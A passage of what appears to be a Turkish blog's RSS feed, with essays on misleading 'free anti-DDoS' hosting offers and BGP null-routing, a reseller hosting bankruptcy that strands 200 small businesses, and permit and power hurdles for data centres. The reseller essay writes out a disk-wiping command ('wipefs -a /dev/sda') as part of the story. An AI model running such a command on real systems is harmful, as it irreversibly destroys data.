            <category>CPU Steal</category>
            <category>Hipervizör</category>
            <category>KVM</category>
            <category>Hosting</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/en-ucuz-2-dolar-vds-vaadi-ve-overcommit-batakligi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[DDoS Saldırısı Altında Aranan O Efsane 'Free Mitigation' Yalanı]]></title>
            <link>http://localhost:3000/blog/post/ddos-saldirisi-altinda-aranan-o-efsane-free-mitigation-yalani</link>
            <guid>ddos-saldirisi-altinda-aranan-o-efsane-free-mitigation-yalani</guid>
            <pubDate>Sun, 11 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA['Sınırsız ve Ücretsiz Anti-DDoS Koruması' vaadiyle sunucu kiralayan ve ilk 40 Gbps UDP flood saldırısında IP'si veri merkezi tarafından Null Route (Karadelik) edilip fişi çekilen müşteriler.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ddos-saldirisi-altinda-aranan-o-efsane-free-mitigation-yalani/thumbnail" alt=""> Açık deniz cankurtaran ve arama kurtarma hizmetlerinde en hayati sözleşme, fırtına anındaki tahliye garantisidir. Bir armatörün, "Bizim cankurtaran filomuz her türlü tayfunda, devasa tsunamilerde bile sizi ücretsiz tahliye eder" diyen merdiven altı bir kurtarma şirketiyle anlaştığını düşünün. Gemi sakin bir denizde seyrederken her şey harikadır. Ancak okyanusun ortasında 10 şiddetinde bir kasırga patlak verip devasa dalgalar gemiyi dövmeye başladığında, kurtarma botu yanaşır. Kaptanın yapacağı şey yolcuları kurtarmak mıdır? Hayır! Cankurtaran botunun kaptanı gemiye bakar, kendi botunun batma tehlikesini görür ve armatöre megafonla bağırır: <em>"Fırtına çok büyük, bizim botumuz zarar görebilir! Limanın güvenliği için sizin geminizi batırmak zorundayız!"</em> ve geminin gövdesine torpido ateşleyip gemiyi kendi elleriyle okyanusun dibine gömer. Kurtarma şirketi müşterisini kurtarmamış; kendi canını kurtarmak için müşterisini kurban etmiştir.</p>
<p>Türkiye ve küresel hosting piyasasında web sitelerinin ana sayfalarında kocaman puntolarla parlayan <strong>"Ücretsiz ve Sınırsız Anti-DDoS Koruması! 1 Tbps Koruma Dahil!"</strong> afişleri, işte bu torpidolu cankurtaran botunun ta kendisidir.</p>
<hr>
<h2>50 TL'lik Pakette "Sınırsız DDoS Koruması" Satmanın Mantıksızlığı</h2>
<p>DDoS (Distributed Denial of Service - Dağıtık Hizmet Engelleme) saldırıları, internetin en pahalı ve çözümü en maliyetli asimetrik savaş aracıdır.</p>
<p>Saldırgan tarafında maliyet komiktir:</p>
<ul>
<li>15 yaşındaki bir genç, Telegram veya Dark Web forumlarından kiraladığı bir kiralık botnet (Stresser/Booter) ile ayda 20 dolara istediği hedefe 50 ila 100 Gbps hacminde UDP/SYN/DNS Amplification saldırısı yönlendirebilir.</li>
</ul>
<p>Savunan tarafında ise fizik kuralları ve devasa faturalar konuşur:</p>
<ul>
<li>100 Gbps'lik bir saldırıyı karşılamak demek; veri merkezinin ana omurgasında (Upstream / Tier-1 ISP) en az 100 Gbps boş bant genişliği (Transit Bandwidth) rezervi tutması demektir.</li>
<li>Bu trafiği analiz edip temizlemek için milyonlarca dolarlık özel donanım temizleme filtreleri (Arbor / Netscout TMS, Corero, Radware) veya devasa küresel Anycast scrubber ağları (Cloudflare Magic Transit, Fastly, Akamai) gerekir.</li>
</ul>
<p>Şimdi kendinize şu soruyu sorun: Size aylık 50 TL'ye (veya 5 dolara) sunucu satan bir firma; sizin 50 TL'lik sunucunuz için 100 Gbps'lik hat faturasını (on binlerce euro) öder mi? Milyon dolarlık donanım filtresini devreye sokar mı?</p>
<p>Tabii ki hayır. O reklam tabelasındaki "Ücretsiz Anti-DDoS" ifadesi, pazarlama departmanının müşteriyi oltaya takmak için uydurduğu zehirli bir yemdir.</p>
<hr>
<h2>İlk Saldırı Anı: Dakika Dakika Karadelik (Blackholing / Null Route)</h2>
<p>Bir Cuma akşamı e-ticaret sitenize veya oyun sunucunuza bir rakibiniz tarafından 40 Gbps hacminde bir NTP Amplification + UDP Flood saldırısı başlatılır.</p>
<p>Olaylar veri merkezinin omurgasında ışık hızında gelişir:</p>
<pre><code>[Saldırgan Botnet] ───► [40 Gbps Trafik] ───► [Veri Merkezi Kenar Yönlendiricisi (Edge Router)]
                                                         │
                                                         ▼
                                          "Bu IP'nin portu 1 Gbps!"
                                          "Hat tıkandı! Bütün veri merkezi etkileniyor!"
                                          "Komşu bankalar, holdingler yavaşladı!"
                                                         │
                                                         ▼
                                          [OTOMATİK BGP BLACKHOLE TETİKLENDİ!]
                                          IP: 185.255.xx.xx ───► NULL0 (ÇÖP KUTUSU!)
                                                         │
                                                         ▼
                                          [SİTE TÜM DÜNYADAN ANINDA SİLİNDİ!] ❌
</code></pre>
<ol>
<li><strong>T = 0. Saniye:</strong> 40 Gbps trafik veri merkezinin ana switch'ine çarpar. Sizin sunucunuzun bağlı olduğu 1 Gbps'lik kablo saniyesinde boğulur (Bufferbloat).</li>
<li><strong>T + 5. Saniye:</strong> Trafik sadece sizi değil; aynı kabinde, aynı switch'te barınan diğer 500 müşterinin de internetini keser. Veri merkezinin omurga gecikmeleri (latency) 5 ms'den 500 ms'ye fırlar.</li>
<li><strong>T + 15. Saniye (İnfaz):</strong> Veri merkezinin BGP yönlendiricisi (Border Router) derhal devreye girer. Saldırıyı temizlemekle uğraşmaz! Upstream sağlayıcısına (Türk Telekom, Seabone, Cogent, Telia) bir <strong>BGP Community (Blackhole Tag: <code>65535:666</code>)</strong> anonsu fırlatır:<br>
<em>"Bu IP adresine gelen TÜM TRAFİĞİ daha Türkiye sınırına girmeden yurt dışı omurgasında doğrudan <code>/dev/null</code> (karadelik) çöpüne atın!"</em></li>
<li><strong>T + 20. Saniye (Klinik Ölüm):</strong> Saldırı durmuştur; evet. Ancak meşru müşterilerin trafiği de çöpe gitmektedir. IP adresiniz dünyadan tamamen silinmiştir. Sitenize girmeye çalışan herkes <code>ERR_CONNECTION_TIMED_OUT</code> alır.</li>
</ol>
<hr>
<h2>Müşteri Hizmetlerinin İronisi: "Sizi Korumak İçin Kestik!"</h2>
<p>Sitesi çöken esnaf destek talebi açar:<br>
<em>"Siteme ulaşılamıyor, Anti-DDoS korumanız vardı, neden çalışmıyor?!"</em></p>
<p>Veri merkezinden gelen o trajikomik resmi yanıt ekrana düşer:<br>
<em>"Sayın müşterimiz, sunucunuza şebeke kapasitemizi aşacak büyüklükte (42.8 Gbps) bir saldırı gelmiştir. Diğer müşterilerimizin servis kalitesinin etkilenmemesi ve altyapımızın bütünlüğü adına IP adresiniz 24 saat süreyle Null Route (Karadelik) havuzuna alınmıştır. Saldırı durduğunda IP adresiniz otomatik olarak erişime açılacaktır. Anlayışınız için teşekkür ederiz."</em></p>
<p>Müşteri donakalır:</p>
<ul>
<li>Saldırıyı durduramamışlardır.</li>
<li>Trafiği filtreleyememişlerdir.</li>
<li>Sırf kendi şebekeleri zarar görmesin diye müşterinin fişini çekmişlerdir.</li>
<li>Ve saldırgan amacına %100 ulaşmıştır: Site 24 saat boyunca kapalıdır!</li>
</ul>
<hr>
<h2>Gerçek DDoS Koruması Nasıl Olur? (Filtreleme vs. Fiş Çekme)</h2>
<p>Gerçek ve profesyonel bir DDoS savunması, gelen trafiği çöpe atmak değil; cerrahi bir neşterle temiz trafiği kirli trafikten ayıklamaktır (Mitigation).</p>
<pre><code>[Saldırı + Meşru Trafik (60 Gbps)]
                 │
                 ▼
[Küresel Anycast Scrubbing Merkezi (Cloudflare / Fastly)]
                 │
                 ├─► KİRLİ TRAFİK: SYN Flood, UDP Amplification, Botlar
                 │   ───► Kenar Sunucularda Damla Damla Emilir &#x26; Yok Edilir (Drop)
                 │
                 ▼
[TEMİZ TRAFİK (Yalnızca Meşru Kullanıcılar - 15 Mbps)]
                 │
                 ▼ Güvenli GRE Tüneli / Origin Shield
[Sizin Kaynak Sunucunuz (Hiçbir Şey Hissetmez, CPU %3)]
</code></pre>
<p>Gerçek koruma altyapısında:</p>
<ol>
<li><strong>BGP Anycast Mimarisi:</strong> Saldırı trafiği tek bir veri merkezine çekilmez. Dünyanın 300 farklı şehrine dağıtılır. 50 Gbps saldırı, şehir başına 150 Mbps'lik önemsiz bir çisentiye bölünür.</li>
<li><strong>Paket İnceleme (DPI - Deep Packet Inspection):</strong> HTTP/2 katmanındaki karmaşık Layer 7 saldırıları (Slowloris, HTTP Flood), meşru kullanıcılara CAPTCHA veya JavaScript Challenge sorularak ayrıştırılır.</li>
<li><strong>Karadelik Yoktur:</strong> Kaynak sunucunun IP adresi asla internete ifşa edilmez; sunucu bir kalkanın arkasında güvenle nefes alır.</li>
</ol>
<hr>
<h2>Neden Kaynak Sunucunun IP'sini Gizlemek Zorundasınız?</h2>
<p>Birçok e-ticaret sitesi Cloudflare'ın arkasına geçer ama DNS kayıtlarında <code>mail.sirket.com</code> veya <code>direct.sirket.com</code> adresini açık bırakır.</p>
<p>Saldırgan sitenin arkasındaki gerçek IP'yi (Origin IP) tespit ettiği an, Cloudflare kalkanını baypas ederek doğrudan sunucunun o ucuz veri merkezindeki IP'sine vurur. Veri merkezi anında IP'yi Null Route'a çeker ve Cloudflare ekranında meşhur <code>Error 522: Connection Timed Out</code> hatası belirir.</p>
<p>Kalkanınız ne kadar güçlü olursa olsun; göğsünüze zırh giyip kafanızı açıkta bırakırsanız düşman sizi tek kurşunla indirir.</p>
<h2>Sonuç</h2>
<p>Fırtınada sizi korumak yerine teknenizi batıran cankurtaran şirketi sizi hayatta tutamaz; ilk saldırıda IP'nizi karadeliğe atan merdiven altı hosting firması da sitenizi koruyamaz.</p>
<p>"Sınırsız ve bedava DDoS koruması" diye bir şey yoktur; olamaz da. DDoS koruması; küresel şebeke kapasitesi, yüksek matematik ve milyon dolarlık altyapı yatırımı gerektiren elit bir siber güvenlik hizmetidir. Ucuz sloganlara kanıp kriz anında fişi çekilenlerden olmayın; ya bütçenizi gerçek scrubbing merkezlerine (Cloudflare Enterprise, AWS Shield) göre planlayın ya da ilk fırtınada geminizin batırılmasını çaresizce kabullenin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>DDoS</category>
            <category>Anti-DDoS</category>
            <category>Blackholing</category>
            <category>Null Route</category>
            <category>BGP</category>
            <category>Ağ Güvenliği</category>
            <category>Hosting</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ddos-saldirisi-altinda-aranan-o-efsane-free-mitigation-yalani/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Reseller Hosting Battı: Sabah Uyanınca 200 Müşterisiyle Ortada Kalan Küçük Sağlayıcı]]></title>
            <link>http://localhost:3000/blog/post/reseller-hosting-batti-sabah-uyaninca-200-musterisiyle-ortada-kalan-kucuk-saglayici</link>
            <guid>reseller-hosting-batti-sabah-uyaninca-200-musterisiyle-ortada-kalan-kucuk-saglayici</guid>
            <pubDate>Sat, 10 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Bir dedicated sunucu kiralayıp üzerine WHMCS kurarak 'Türkiye'nin Lider Bilişim Firması' maskesiyle 200 esnafa hosting satan mahalle girişimcisinin iflasıyla yaşanan rehine krizi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/reseller-hosting-batti-sabah-uyaninca-200-musterisiyle-ortada-kalan-kucuk-saglayici/thumbnail" alt=""> Sağlık sektöründe hayal edebileceğiniz en korkunç dolandırıcılık senaryolarından biri şudur: Mahallenin ortasında havalı tabelalarla "Özel Uluslararası Cerrahi Kliniği" açtığını iddia eden bir girişimci düşünün. Gerçekte ne bir ameliyathanesi ne de kadrolu hekimi vardır. Girişimci, mahalledeki 200 esnafı, hastayı ve tanıdığı "Size en kaliteli, en ucuz ameliyatları biz yapıyoruz" diyerek toplar; ardından şehir merkezindeki devasa bir özel hastanenin bodrum katındaki taşeron koğuşlarından birini gecelik kiralar. Hastaları oraya sokar, ameliyat ettirir ve aradaki komisyonu cebine atar. Ancak birkaç ay sonra işler ters gider; aracı borçlarını ödeyemez, lüks arabasının taksitlerini öderken hastanenin ana faturasını aksatır. Bir Cuma gecesi aracı valizini toplayıp yurt dışına kaçar! Cumartesi sabahı dev hastane yönetimi koğuşun kapısına kilit vurur: <em>"Bu aracı şahıs bize 500 bin TL taktı ve kaçtı. İçerideki 200 hastanın taburcu işlemlerini durduruyoruz, dosyalarını rehin alıyoruz; faturayı ödemezseniz hiçbiriniz buradan çıkamazsınız!"</em> 200 masum hasta, tek bir sorumsuz aracının faturasını hayatlarıyla ödemekle burun buruna gelir.</p>
<p>Türkiye'nin bilişim ve web hosting pazarında her yıl onlarca kez patlak veren <strong>"Reseller (Bayi) Hosting Faciası"</strong>, bu taşeron hastane skandalının birebir dijital kopyasıdır.</p>
<hr>
<h2>"Hosting Şirketi Kurmak Çok Kolay" İllüzyonu</h2>
<p>Türkiye'deki bilişim forumlarında (R10, WMAracı) veya YouTube kanallarında genç girişimcilerin aklını çelen o zehirli formül yıllardır aynıdır:</p>
<ol>
<li>Git Hetzner, OVH veya yerli bir veri merkezinden aylık 40-50 Euro'ya bir sunucu (Dedicated Server) kirala.</li>
<li>Üzerine korsan/ucuz lisanslı cPanel/WHM ve WHMCS faturalandırma yazılımı kur.</li>
<li>Kendine fütüristik bir isim bul: <em>"GlobalNet Bilişim, SiberCloud Teknolojileri, TitanVeri"</em>.</li>
<li>Web sitesinin en tepesine stok fotoğraflardan indirilmiş takım elbiseli sarışın bir kadın ve arkasında devasa sunucu koridorları olan bir görsel koy: <em>"15 Yıllık Tecrübe, %99.99 Uptime, 7/24 Kurumsal Destek!"</em></li>
<li>Mahalledeki kasaptan, avukattan, mobilyacıdan, e-ticaret yapmaya çalışan gençlerden yıllık 200-300 TL'ye 200 adet müşteri topla.</li>
</ol>
<p>Girişimci kendini bir anda "Hosting Şirketi Sahibi / CEO" ilan eder. Kartvizit bastırır, Instagram'da "data center gezisi" hikayeleri paylaşır.</p>
<p>Oysa gerçekte tek yaptığı şey, bir başkasının sunucusunun üzerine oturup aradaki 100 liralık farkı cebe indiren bir komisyonculuktur.</p>
<hr>
<h2>Patolojinin Gelişimi: Kırılgan Domino Taşları</h2>
<p>Bu merdiven altı reseller iş modelinde en ufak bir finansal veya teknik dalgalanmayı tolere edecek hiçbir rezerv sermaye (kapital) yoktur:</p>
<pre><code>[200 Adet Küçük Esnaf] (Web sitesi, e-postalar, faturalar emanet)
          │ Yıllık 300 TL ödediler
          ▼
[Mahalledeki "Hosting CEO'su"] (Tek bir 22 yaşında genç, sermaye: 0 TL)
          │ Aylık 60 Euro sunucu faturası ödemek zorunda
          ▼
[Ana Veri Merkezi / Toptancı Sağlayıcı] (Almanya Hetzner veya Yerli DC)
          │ Fatura günü: 10 Ocak
          ▼
    [ÖDEME YAPILAMADI!] ❌
</code></pre>
<p>Kriz genellikle şu üç senaryodan biriyle tetiklenir:</p>
<h3>Senaryo A: Döviz Sıçraması ve Nakit Akışı İflası</h3>
<p>Müşteriler parayı yıllık olarak TL cinsinden peşin ödemiştir. Girişimci bu parayı ilk 2 ayda şahsi harcamalarına (telefon taksiti, tatil) gömmüştür. Euro veya Dolar aniden %30 sıçradığında, ana sunucunun aylık kirasını ödeyecek nakit kalmaz.</p>
<h3>Senaryo B: Donanımsal Çöküş ve Yedeksizlik Felaketi</h3>
<p>Ana sunucunun anakartı yanar veya RAID kontrolcüsü diskleri bozar. Girişimcinin hiçbir harici yedekleme altyapısı yoktur (çünkü yedekleme sunucusu kiralamak ekstra maliyettir). 200 müşterinin 5 yıllık tüm verileri bir saniyede çöp olur. Girişimci panikleyip WhatsApp grubunu kapatır, telefonunu uçak moduna alır.</p>
<h3>Senaryo C: Genç Girişimcinin Sıkılması / Askere Gitmesi</h3>
<p>Girişimci üniversiteyi bitirir, askere gider veya sevgilisinden ayrılır; sunucuyla ilgilenmeyi bırakır. Fatura ödenmediği için toptancı veri merkezi sunucunun fişini çeker (<code>Suspended for Non-Payment</code>).</p>
<hr>
<h2>Pazartesi Sabahı: 200 Esnafın Çaresiz Rehineliği</h2>
<p>Pazartesi sabahı saat 09:00 olduğunda 200 esnafın siteleri açılmaz, mailleri düşmez.</p>
<ul>
<li>Mobilyacı arar: "Kataloğum kapalı, müşteriye fiyat veremiyorum!"</li>
<li>E-ticaretçi ağlar: "Günde 50 sipariş alıyordum, site yok!"</li>
<li>Avukat bağırır: "Duruşma evraklarım e-postamdaydı, maillerime ulaşılamıyor!"</li>
</ul>
<p>Girişimcinin cep telefonu çalar çalar, açılmaz. Sonunda tamamen kapanır.<br>
Destek sistemi (WHMCS) hata verir: <code>Down for Maintenance</code>.</p>
<p>Çaresiz kalan birkaç zeki esnaf, alan adlarının DNS kayıtlarına bakar ve IP adresinin kime ait olduğunu (örneğin X Veri Merkezi A.Ş.) tespit eder. Doğrudan veri merkezini ararlar:<br>
<em>"Biz X Bilişim'in müşterisiyiz. Sitelerimiz kapandı, açın bizim sitelerimizi!"</em></p>
<p>Veri merkezi operasyon şefinin yanıtı soğuk bir morg kapısı gibidir:<br>
<em>"Beyefendi, siz bizim müşterimiz değilsiniz. O sunucuyu kiralayan şahıs 2 aydır faturasını ödemedi. Sunucu kapatıldı ve sözleşme gereği bu gece saat 00:00'da tüm diskler formatlanarak sıfırlanacaktır. Bizim muhatabımız siz değilsiniz; KVKK gereği o sunucunun içindeki verileri size teslim edemeyiz."</em></p>
<hr>
<h2>Dijital Rehine Krizi: "Yedeğimi Verin, Paramı Alın!"</h2>
<p>İşte o an bilişim dünyasının en acıklı pazarlığı başlar:</p>
<ul>
<li>Esnaf feryat eder: <em>"Borcu ne kadarsa ben ödeyeyim, yeter ki sitemi açın!"</em></li>
<li>Veri merkezi der ki: <em>"Şahsın tüm fatura borcu 25 bin TL. Öderseniz sunucuyu 1 saatliğine açarız, yedeğinizi alırsınız."</em></li>
<li>200 esnaf birbirinden habersizdir; organize olamazlar.</li>
<li>Ve gece yarısı saat 00:00 olduğunda otomatik veri merkezi script'i devreye girer: <code>wipefs -a /dev/sda</code>.</li>
<li>200 esnafın 10 yıllık emeği, müşteri portföyü, muhasebe yazışmaları tek bir komutla silinir ve yok olur.</li>
</ul>
<hr>
<h2>Çıkarılacak Cerrahi Dersler: Dijital Mülkiyetinizi Korumak</h2>
<p>Bir işletmenin dijital varlıklarını koruması, "en ucuz hostingi kim satıyor" arayışıyla değil; kurumsal risk yönetimiyle mümkündür:</p>
<ol>
<li><strong>Alan Adınız (Domain) Daima Kendi Kontrolünüzde Olmalıdır:</strong><br>
Asla ama asla domain tescilini web tasarımcısına veya mahalle bilişimcisine kendi adına tescil ettirmeyin! Domain sizin kendi adınıza, kendi kredi kartınızla ve kendi kontrol panelinizde (Cloudflare, Metunic, Namecheap) olmalıdır. Domain elinizdeyse, sunucu batsa bile 1 saat içinde DNS'i başka bir sunucuya çevirebilirsiniz. Domain aracıdaysa, rehinesinizdir.</li>
<li><strong>Kendi Bağımsız Yedeğinizi Alın (3-2-1 Kuralı):</strong><br>
Sağlayıcınız "Biz günlük yedek alıyoruz" dese bile ona asla güvenmeyin. Haftada bir kez cPanel'e girip tam yedeği (<code>backup-*.tar.gz</code>) kendi yerel bilgisayarınıza veya Google Drive/Dropbox hesabınıza indirin.</li>
<li><strong>Faturayı Kesen Şirketin Kimliğini Sorgulayın:</strong><br>
Çalıştığınız firmanın bir vergi levhası var mı? BTK Yer Sağlayıcı listesinde kayıtlı mı? Fiziksel bir adresi, sabit bir telefon santrali var mı? Yoksa işi tek bir gencin WhatsApp keyfine mi emanet ettiniz?</li>
</ol>
<h2>Sonuç</h2>
<p>Taşeron klinikte ameliyat olup aracı kaçınca hastane koğuşunda rehin kalan hastanın yaşadığı trajedi ne kadar acıysa; 200 TL kâr etmek uğruna tek kişilik bir reseller'a tüm ticari hafızasını teslim edip sabah sıfır noktasına uyanan esnafın yaşadığı felaket de o kadar derindir.</p>
<p>Altyapı; ciddiyet, sermaye ve profesyonel mühendislik disiplini gerektirir. Şirketinizin geleceğini, kendi sunucusunun faturasını ödeyip ödeyemeyeceği meçhul olan dijital komisyoncuların insafına bırakmayın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Reseller Hosting</category>
            <category>WHMCS</category>
            <category>cPanel</category>
            <category>Hosting</category>
            <category>İflas</category>
            <category>Veri Kaybı</category>
            <category>Kültür</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/reseller-hosting-batti-sabah-uyaninca-200-musterisiyle-ortada-kalan-kucuk-saglayici/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Rant ve Ruhsat Savaşları: Türkiye'de Veri Merkezi Açmanın Görünmeyen Maliyetleri]]></title>
            <link>http://localhost:3000/blog/post/rant-ve-ruhsat-savaslari-turkiyede-veri-merkezi-acmanin-gorunmeyen-maliyetleri</link>
            <guid>rant-ve-ruhsat-savaslari-turkiyede-veri-merkezi-acmanin-gorunmeyen-maliyetleri</guid>
            <pubDate>Fri, 09 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Türkiye'de Tier III veri merkezi kurmaya kalkışan yatırımcıların fiber optik döşemekten çok belediye ruhsatları, trafo kapasite tahsisleri ve ithalat bürokrasisiyle verdiği sessiz savaş.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/rant-ve-ruhsat-savaslari-turkiyede-veri-merkezi-acmanin-gorunmeyen-maliyetleri/thumbnail" alt=""> Tam teşekküllü, 500 yataklı modern bir araştırma hastanesi inşa etmeye karar veren bir tıp vakfını gözünüzün önüne getirin. En iyi mimarlarla çalışılır, laminar akışlı ameliyathaneler çizilir, Almanya ve Japonya'dan milyonlarca euroluk son model MR, tomografi, anjiyo üniteleri ve robotik cerrahi sistemleri sipariş edilir. Tıbbi ekipmanlar gümrüğe gelir; ancak asıl kabus o an başlar. Belediye "Buraya hastane yapamazsınız, imar planında ticaret alanı yazıyor, tadilat harcı yatırın" der. Elektrik dağıtım şirketi "Hastanenin tüketeceği 5 Megawatt gücü verecek trafomuz yok, 10 kilometre öteden trafo hattını kendi paranızla döşeyin, sonra da o hattı bize hibe edin" şartı koşar. İtfaiye yangın merdiveninin açısını beğenmez, gümrük memuru ithal radyoloji cihazını "özel izin eksik" diye 8 ay antrepoda bekletir. Milyon dolarlık hassas tıbbi cihazlar tozlu kutularda paslanırken, hastane kapısına kilit vurulur. Sorun tıp biliminde veya cerrahların yeteneğinde değil; ülkenin bürokratik ve rant temelli bataklığındadır.</p>
<p>Türkiye'de bağımsız (carrier-neutral) ve gerçek anlamda <strong>Tier III</strong> standartlarında bir Veri Merkezi (Data Center) inşa etmeye soyunan teknoloji yatırımcılarının yaşadığı serüven, tam olarak bu hastane inşaatının dijital fotokopisidir.</p>
<p>Dışarıdan bakan bir yazılımcı veri merkezini "Sunucuların yan yana dizildiği, renkli kabloların parladığı klimalı odalar" sanır. Oysa veri merkezi işletmeciliği bilişimden çok; ağır inşaat mühendisliği, enerji şebekesi diplomasisi ve yerel bürokrasi savaşları sanatıdır.</p>
<hr>
<h2>1. Enerji Savaşı: Trafo Kapasitesi ve Şebeke Mafyası</h2>
<p>Bir veri merkezinin kalbi fiber optik kablolar değil; <strong>saf ve kesintisiz elektrik enerjisidir.</strong></p>
<p>Modern bir veri merkezi kabini (rack) 5 ila 15 Kilowatt (kW) enerji çeker. 500 kabinlik orta ölçekli bir tesis kurduğunuzda, soğutma sistemleri (chiller) ve kayıplarla birlikte (PUE 1.3 - 1.5) anlık <strong>5 ila 8 Megawatt (MW)</strong> enerjiye ihtiyaç duyarsınız. Bu enerji, küçük bir Anadolu ilçesinin tüm elektrik tüketimine eşittir.</p>
<p>Yatırımcı elektrik dağıtım şirketinin (BEDAŞ, AYEDAŞ, Toroslar vb.) kapısını çalar:</p>
<ul>
<li><em>"Biz 8 MW orta gerilim (OG) hat tahsisi istiyoruz."</em></li>
<li>Dağıtım şirketinin yanıtı soğuk bir duştur: <em>"Bölgemizdeki trafo merkezinin kapasitesi dolu. Size bu gücü veremeyiz. Eğer çok istiyorsanız, TEİAŞ ana iletim hattından 15 kilometre mesafeden çift devre bağımsız yer altı kablosu çekeceksiniz, indirici trafo merkezini kendi cebinizden (yaklaşık 2-3 milyon dolar) inşa edeceksiniz, ardından bu trafonun mülkiyetini bedelsiz olarak bize devredeceksiniz!"</em></li>
</ul>
<p>Daha ilk adımda, tek bir sunucu bile satın alınmadan milyonlarca dolarlık bir altyapı faturası yatırımcının önüne konur.</p>
<pre><code>[Veri Merkezi Yatırım Bütçesi]
         │
         ├─► %45 : Enerji Altyapısı (Trafo, Jeneratör, UPS, Akü Grupları)
         ├─► %25 : Soğutma Mimarisi (Chiller, Hassas Kontrollü Klimalar)
         ├─► %15 : Bürokratik İzinler, Harçlar, İmar ve Yangın Ruhsatları
         └─► %15 : Gerçek Bilişim Ekipmanı (Kabinler, Fiber, Switchler)
</code></pre>
<p>Görüldüğü gibi bir veri merkezinin bilişim bütçesi, toplam maliyetin yalnızca küçük bir fraksiyonudur.</p>
<hr>
<h2>2. İmar ve Belediye Engeli: "Buraya Veri Merkezi Ruhsatı Veremeyiz"</h2>
<p>Türkiye'deki belediye mevzuatında (İmar Kanunu) uzun yıllar boyunca "Veri Merkezi" diye bir bina sınıflandırması dahi yer almamıştır.</p>
<p>Yatırımcı bir arsa satın alır veya endüstriyel bir binayı kiralar:</p>
<ul>
<li>Belediye fen işlerine gider: "Veri merkezi ruhsatı almak istiyoruz."</li>
<li>Memur bakar: <em>"Bizde öyle bir kod yok. Siz depo musunuz? Matbaa mısınız? Fabrika mısınız?"</em></li>
<li>Çatıya koymanız gereken devasa 2 Megawatt'lık dizel jeneratörler ve soğutma kuleleri (chiller grupları) için "Gürültü ve ağırlık yönetmeliğine aykırı, çatıya koyamazsınız" denir.</li>
<li>Bahçeye 50 tonluk dizel yakıt tankı gömmek istersiniz; Çevre ve Şehircilik Bakanlığı ile itfaiye arasında aylarca süren bürokratik pinpon maçı başlar: <em>"Yakıt tankı binaya 20 metre uzakta olmalı", "Arsa zaten 18 metre, nereye koyalım?"</em></li>
</ul>
<p>Bu izinlerin her biri, yerel siyasetçilerin ve belediye encümenlerinin "bağış" ve harç talepleriyle aylarca kilitlenir.</p>
<hr>
<h2>3. Fiber Kazı İzinleri ve Geçiş Hakkı Tekeli</h2>
<p>Veri merkezini kurdunuz, elektriği bağladınız. Şimdi bu merkeze dünyanın ve Türkiye'nin ana internet omurgasını (fiber optik) sokmanız gerekir.</p>
<p>Gerçek bir Tier III veri merkezinin <strong>Taşıyıcı Bağımsız (Carrier-Neutral)</strong> olması şarttır. Yani tesise Türk Telekom, Turkcell Superonline, Vodafone, Türksat ve bağımsız fiber işletmecilerinin kendi bağımsız kazılarıyla ve farklı coğrafi güzergahlardan girmesi gerekir.</p>
<p>Ancak Türkiye'deki yerel kazı izinleri (Geçiş Hakkı / A-Right of Way) tam bir cehennemdir:</p>
<ul>
<li>Büyükşehir belediyeleri asfalt kazı bedeli olarak metre başına fahiş astronomik rakamlar talep eder.</li>
<li>Yerleşik operatör (Türk Telekom), rakip bir operatörün o veri merkezine bağımsız fiber çekmesini engellemek için sokaktaki menhol ve boru hatlarını (duct) kullandırmamak adına her türlü hukuki ve fiili engeli çıkarır.</li>
<li>Birçok veri merkezi, binanın önüne kadar gelmiş fiber kabloyu 50 metre içeri sokabilmek için 6 ay boyunca AYKOME (Alt Yapı Koordinasyon Merkezi) toplantılarının onayını bekler.</li>
</ul>
<hr>
<h2>4. İthalat ve Döviz Kıskacı: Gümrükteki Cerrahi Aletler</h2>
<p>Veri merkezinde kullanılan donanımların hiçbiri yerli üretim değildir:</p>
<ul>
<li>Cummins veya Caterpillar dizel jeneratörler (Dolar/Euro)</li>
<li>Schneider veya Vertiv kesintisiz güç kaynakları (UPS) ve statik transfer anahtarları (STS)</li>
<li>Stulz hassas kontrollü klimalar</li>
<li>Halon gazı alternatifi Novec 1230 / FM200 gazlı yangın söndürme sistemleri</li>
</ul>
<p>Dolar/Euro paritesinin her sıçrayışında yatırım maliyeti katlanır. Üstelik Türkiye gümrüklerinde bu endüstriyel cihazlara uygulanan Ek Mali Yükümlülükler (EMK), TSE uygunluk denetimleri ve gümrük antrepolarında haftalarca bekletilen makinelerin yarattığı ardiye masrafları, yatırımcının nakit akışını kurutur.</p>
<hr>
<h2>Küresel Devler Neden Türkiye'den Kaçıyor?</h2>
<p>Amazon Web Services (AWS), Microsoft Azure veya Google Cloud; Yunanistan'a, Polonya'ya, İsrail'e devasa veri merkezi bölgeleri (Cloud Region) açarken neden Türkiye'yi sadece birer uç nokta (Edge Location / CloudFront) ile geçiştiriyor?</p>
<p>Cevap teknik personelin yetersizliği değildir; Türkiye'deki mühendisler dünyanın en kriz çözücü beyinleridir.<br>
Sebep; öngörülemeyen enerji regülasyonları, döviz volatilitesi, hukuki öngörülemezlik ve bürokratik geçiş hakkı engelleridir. Bir trafo bağlantısının 2 yıl sürdüğü, belediye başkanının değişmesiyle imar izinlerinin iptal edildiği bir iklime milyar dolarlık hiper-ölçekli (Hyperscale) veri merkezi yatırımı çekemezsiniz.</p>
<h2>Sonuç</h2>
<p>Milyon dolarlık MR cihazını gümrükte çürüten bürokrasi sağlık sistemini nasıl tıkıyorsa; trafo tahsisini ve fiber kazı izinlerini ranta kurban eden altyapı bürokrasisi de Türkiye'nin dijital egemenliğini öyle sakatlar.</p>
